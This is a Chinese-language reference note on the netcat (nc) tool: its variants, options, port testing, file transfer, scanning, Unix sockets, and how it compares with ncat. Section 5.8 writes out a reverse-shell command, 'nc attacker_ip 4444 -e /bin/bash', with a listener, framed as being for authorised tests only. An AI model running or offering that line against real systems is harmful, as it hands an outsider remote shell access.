# nc (netcat) 筆記
## 1. 簡介
`nc`(netcat)是歷史悠久的網路瑞士刀工具,最早由 *Hobbit* 於 1995 年釋出,用來讀寫 TCP/UDP 連線的資料,概念上等同「讓網路連線也能像檔案一樣用 stdin/stdout 操作」。因為簡單、無所不在(幾乎每個 Linux/BSD/macOS 都內建某個版本),長期被當作系統管理、除錯、簡易傳輸的標配工具。
**重要提醒**:`nc` 不是單一實作,而是有多個互不相容的版本,選項語意常常不一樣,這是使用 `nc` 最容易踩坑的地方。
## 2. 主要版本與差異
| 版本 | 常見於 | 特色 |
|---|---|---|
| **原版 / Hobbit netcat** | 較舊系統 | 最初版本,功能最陽春 |
| **GNU netcat (netcat-openbsd 之前的 GNU 版)** | 部分 Linux 發行版 | 選項與 BSD 版有差異 |
| **OpenBSD netcat(`netcat-openbsd`)** | Debian/Ubuntu 預設 `nc` | 拿掉了 `-e`(執行指令)選項,理由是安全考量;支援 `-z`(掃描模式)、Unix socket |
| **Nmap ncat** | 另外安裝 `nmap`/`ncat` 套件 | 見前一份 ncat 筆記,功能最完整 |
| **busybox nc** | 嵌入式系統、Alpine、容器 minimal image | 極簡版,選項最少,行為和前幾種都不完全一樣 |
實務上遇到 `nc: invalid option` 這類錯誤,第一步通常是先確認 `nc -h` 或 `man nc` 看當下是哪個版本,而不是死背選項。
判斷版本的小技巧:
```bash
nc -h 2>&1 | head -1 # 有些版本會印出版本字串
readlink -f $(which nc) # 看實際指向哪個實作,例如 /bin/nc.openbsd
```
## 3. 基本語法
```bash
nc [選項] 主機 埠號 # client 模式
nc -l [選項] 埠號 # server/監聽模式(部分版本 -l 後面不需再接埠號,用 -p 指定)
```
## 4. 常見選項(以 OpenBSD netcat 為主,其他版本可能不同)
| 選項 | 說明 |
|---|---|
| `-l` | 監聽模式(server) |
| `-p <port>` | 指定本地埠(某些版本監聽模式下埠號直接接在 `-l` 後面,不需要 `-p`) |
| `-u` | UDP 模式(預設 TCP) |
| `-v` | 顯示詳細資訊,可疊加 `-vv` |
| `-z` | Zero-I/O 模式,只做連線測試不傳資料,常用於 port scan |
| `-w <秒>` | 逾時設定 |
| `-k` | 監聽時允許多個連線依序進來(部分版本才有,行為與 ncat 的 `-k` 類似) |
| `-n` | 不做 DNS 反解析,加速連線 |
| `-4 / -6` | 強制使用 IPv4 / IPv6 |
| `-e <cmd>` | 連線後執行指令(**OpenBSD 版預設拿掉**,需要編譯時加參數或改用其他版本) |
| `-c <cmd>` | 部分版本(如某些 GNU 變種)用來代替 `-e`,透過 `/bin/sh -c` 執行 |
| `-U` | 使用 Unix domain socket(OpenBSD 版支援) |
## 5. 常見使用情境
### 5.1 Port 連通測試(最常見用法)
```bash
nc -zv example.com 443
```
- `-z`:不送資料,只測試能否建立連線
- `-v`:印出結果,成功/失敗一目了然
批次掃一段 port range:
```bash
nc -zv example.com 20-25
```
### 5.2 簡易傳檔
server(接收端):
```bash
nc -l 9000 > received_file.tar.gz
```
client(傳送端):
```bash
nc 192.168.1.10 9000 < myfile.tar.gz
```
- 沒有進度條、沒有斷點續傳、沒有校驗,適合臨時內網小檔案傳輸
- 傳完後 server 端多數版本會自動結束(除非有 `-k`)
### 5.3 簡易 chat
```bash
# 端 A
nc -l 9000
# 端 B
nc <A的IP> 9000
```
雙方打字互傳,`Ctrl+C` 結束。
### 5.4 當作簡易 HTTP client 除錯
```bash
printf 'GET / HTTP/1.0\r\n\r\n' | nc example.com 80
```
可以直接看到 raw HTTP response,不需要裝 curl,適合快速確認 server 有沒有回應。
### 5.5 Port scan(`-z` + range)
```bash
nc -zv -w 1 192.168.1.1 1-1024
```
`-w 1` 讓每個 port 逾時縮短,加快掃描速度;但正式的 port scan 建議還是用 `nmap`,`nc` 只適合臨時看幾個 port。
### 5.6 UDP 測試
```bash
nc -u -l 5000 # server
nc -u 192.168.1.10 5000 # client
```
UDP 是無連線協定,`nc` 沒辦法保證真的送達,只能確認封包送出。
### 5.7 Unix Domain Socket(OpenBSD 版)
```bash
nc -lU /tmp/mysock.sock # server
nc -U /tmp/mysock.sock # client
```
常用來測試本機服務(像資料庫、docker daemon)暴露的 unix socket 是否正常。
### 5.8 Reverse shell(僅限授權測試環境)
在支援 `-e` 的版本(例如某些 GNU/busybox 版):
```bash
# 攻擊者端監聽
nc -lvp 4444
# 目標端連回並給出 shell(僅限自己授權的滲透測試/CTF環境)
nc attacker_ip 4444 -e /bin/bash
```
> OpenBSD 版拿掉 `-e` 就是為了防止這種用法被濫用。**這類操作只能在你擁有授權的測試環境中使用**,正式系統上不應該有服務允許外部連線後執行指令。
## 6. nc 與 ncat 的取捨(延續前一份筆記)
| 需求 | 建議 |
|---|---|
| 系統內建、開機就有,臨時測連通 | `nc` 足夠 |
| 需要 TLS 加密連線測試 | 改用 `ncat --ssl` |
| 需要走 HTTP/SOCKS proxy | 改用 `ncat --proxy` |
| 需要多 client broker/聊天室 | 改用 `ncat --broker` |
| 寫進 script 要跨平台(Linux/macOS/Alpine)行為一致 | 優先用 `ncat`,`nc` 各版本差異太大會踩坑 |
| Docker minimal image 裡臨時 debug port | `busybox nc -zv host port` 通常已經夠用 |
## 7. 除錯注意事項
- 不同版本的 `-l` 語意不同:有些版本 `-l port`,有些要 `-l -p port`,寫 script 時盡量兩種都相容,或直接判斷版本
- `-w` 逾時在部分版本只影響 connect,不影響 idle 連線,行為要實測確認
- Zero-I/O(`-z`)搭配 UDP 時不一定可靠,因為 UDP 沒有 handshake,收不到 ICMP unreachable 時可能誤判為「開放」
- 容器內常見的是 busybox 版,選項比想像中少很多,遇到「unrecognized option」很正常,先看 `nc -h`
## 8. 快速備忘(Cheat Sheet)
```bash
# 測連通(單一 port)
nc -zv host port
# 測連通(port range)
nc -zv host 20-25
# 開一個簡易 server
nc -l port
# 傳檔(收)
nc -l port > out.file
# 傳檔(送)
nc host port < in.file
# UDP
nc -u -l port
nc -u host port
# Unix domain socket(OpenBSD 版)
nc -lU /path/to.sock
nc -U /path/to.sock
# 確認目前是哪個 nc 實作
readlink -f $(which nc)
```